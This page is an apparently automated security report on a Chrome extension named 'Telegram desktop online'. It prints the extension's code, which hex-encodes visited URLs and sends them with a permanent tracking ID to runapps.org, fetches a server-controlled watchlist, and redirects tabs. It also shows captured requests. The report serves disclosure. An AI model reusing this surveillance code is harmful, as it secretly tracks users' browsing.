Is Telegram desktop online safe?

High risk

Telegram desktop online is high risk. Visiting a site matching the server's keyword watchlist sends that page's full URL to a remote server, with a unique ID generated at install that never changes, letting the server build a browsing history tied to your install.…

RunAppsv1.2.1Chrome Web Store
77Risk
Who publishes it

OD Group - 8 other listings from the same operator, 5 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
RunApps
Declared legal entity
OD Group
Registered address
Harju maakond, Tallin, Harjumaa 10111, EE
Registered contact
OD Group

Same operator - 1 listing

Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Visited URLs transmitted to runapps.org with persistent tracking ID

Visiting a site matching the server's keyword watchlist sends that page's full URL to a remote server, with a unique ID generated at install that never changes, letting the server build a browsing history tied to your install.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You visit a website whose URL contains a server-supplied keyword.

Keywords include strings such as t.me, telegram, tg://, and.zip; the list is controlled remotely.

The extension did this

The extension transmits the full URL and your permanent tracking ID to runapps.org.

The URL is hex-encoded and sent as a GET request; the tracking ID links this transmission to your browser installation.

Captured request
GEThttps://www.runapps.org/app/atelegramva.php?dx=00&pathxs=68747470733a2f2f742e6d652f746573746368616e6e656c7c7c7c7878&hex=1&uuyy=o4htoptsfe

HTTP 200. Response checked for string '1302'; if present, the extension redirects the current tab to rtelegramva.php.

Why you can't catch this in DevTools

The visited URL is hex-encoded before transmission, making the contents opaque to casual inspection of network logs.

Decoded value
https://t.me/testchannel|||xx
Parameters sent with every matched-URL request
  • Visited page address
    https://t.me/testchannel (hex-encoded as pathxs)

    The full URL of the page you visited, including path and query string.

  • Install tracking ID
    o4htoptsfe

    A 10-character identifier generated when the extension was installed, stable for the life of your browser profile.

  • Encoding flag
    hex=1

    Signals to the server that the URL parameter is hex-encoded.

The code that does this

URL transmission function (runapps.js:118-130)

Readable version
async function filedetectfunc(link, uuyy) {    let rrcheck = await fetch(        'https://www.runapps.org/app/atelegramva.php?dx=00&pathxs=' +        b2he(link) + '&hex=1&uuyy=' + uuyy    );    if (rrcheck.status === 200) {        let datacheck = await rrcheck.text();        // If server returns '1302', redirect the active tab        if (datacheck.indexOf("1302") !== -1) {            var newURL = 'https://www.runapps.org/app/rtelegramva.php?dx=00&pathxs=' +                b2he(link) + '&hex=1&uuyy=' + uuyy;            chrome.tabs.update(chrome.tabs.getCurrent().id, { url: newURL });        }    }}
Destination receiving visited URLs
    • www.runapps.org

    Receives hex-encoded visited URLs and the per-install tracking ID, and serves the hourly keyword watchlist. Can trigger tab redirects by responding with '1302'.

Extension assigns a permanent tracking ID to each browser install

On first run, the extension generates a random 10-character ID and saves it permanently.

This ID never changes and rides on every request to the developer's server, linking activity across sessions to this browser install.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You install the extension and it runs for the first time.

chrome.storage.local is checked for an existing uuyy key.

The extension did this

The extension generates a permanent 10-character identifier and saves it to your browser.

This ID is then sent with every request to runapps.org, linking all transmissions to your browser profile.

What's stored on your device

uuyy is the permanent per-install tracking ID, sent as a query param on every request to runapps.org to link transmissions to your install.

Location
chrome.storage.local
Contents
{  "uuyy": "o4htoptsfe",  "mruop": "1",  "lfTime": 1776471511809,  "archiveData": ";tg://;t.me;.tel;.telegram;.zip;"}
The code that does this

Tracking ID generation and storage (runapps.js:100-114)

Readable version
chrome.storage.local.get('uuyy', function (obj) {    // Always enable URL matching    chrome.storage.local.set({'mruop': "1"}, function() { });    if (obj.uuyy) {        // Reuse existing tracking ID        uuyy = obj.uuyy;        const stat = new initrapps(uuyy);        stat.init();    } else {        // Generate and persist a new tracking ID        uuyy = "" + rantty(10) + "".toLowerCase();        chrome.storage.local.set({'uuyy': uuyy.toLowerCase()}, function() {            const stat = new initrapps(uuyy);            stat.init();        });    }});
When this fires

On every browser startup

Tracking ID is checked and generated (if absent) every time the service worker starts. The ID is then attached to all subsequent network requests during that session.

Extension downloads server-controlled URL watchlist hourly

The extension polls a remote server hourly for a keyword list.

Any visited site whose URL contains a listed keyword is flagged and its full URL sent to the server, which controls the list, so surveillance can expand anytime, unannounced.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You navigate to any website in Chrome.

Every main-frame navigation fires the extension's webNavigation listener.

The extension did this

The extension fetches a fresh keyword list from runapps.org if an hour has elapsed.

The list is stored in chrome.storage.local and controls which of your URLs get transmitted.

Captured request
GEThttps://www.runapps.org/app/archive-list.php

Semicolon-delimited keyword list, optionally wrapped in <xml>…</xml>. Captured value: ;tg://;t.me;.tel;.telegram;.zip;

What's stored on your device

Holds the server-downloaded keyword list. Every visited URL is checked against it; a match sends your full URL to runapps.org.

Location
chrome.storage.local
Contents
{  "lfTime": 1776471511809,  "archiveData": ";tg://;t.me;.tel;.telegram;.zip;"}
The code that does this

Keyword fetch and storage (runapps.js:30-52)

Readable version
const url = "https://www.runapps.org/app/archive-list.php";const ssKey = "archiveData";const lfKey = "lfTime";const now = Date.now();chrome.storage.local.get([lfKey], function (result) {    const lfTime = result[lfKey] || 0;    if (now - lfTime < 3600000) {        return;  // skip if fetched less than 1 hour ago    }    fetch(url)        .then(rr => rr.text())        .then(data => {            chrome.storage.local.set({                [ssKey]: data,                [lfKey]: now            }, function () {                console.log("Files updated:", data);            });        })        .catch(error => console.error("Error:", error));});
Remote configuration server
    • www.runapps.org

    Serves the server-controlled keyword watchlist. The same domain receives matched visited URLs (see related claim). Operator of this domain controls which sites are monitored.

+2 more findings not shown

What it can do

Permissions this extension asks for, as declared in version 1.2.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • See every page you navigate to, as you navigate to it

    webNavigation

Updated 30 September 2026jmgpgemcjhocdbknhnmpbpejlmnjghef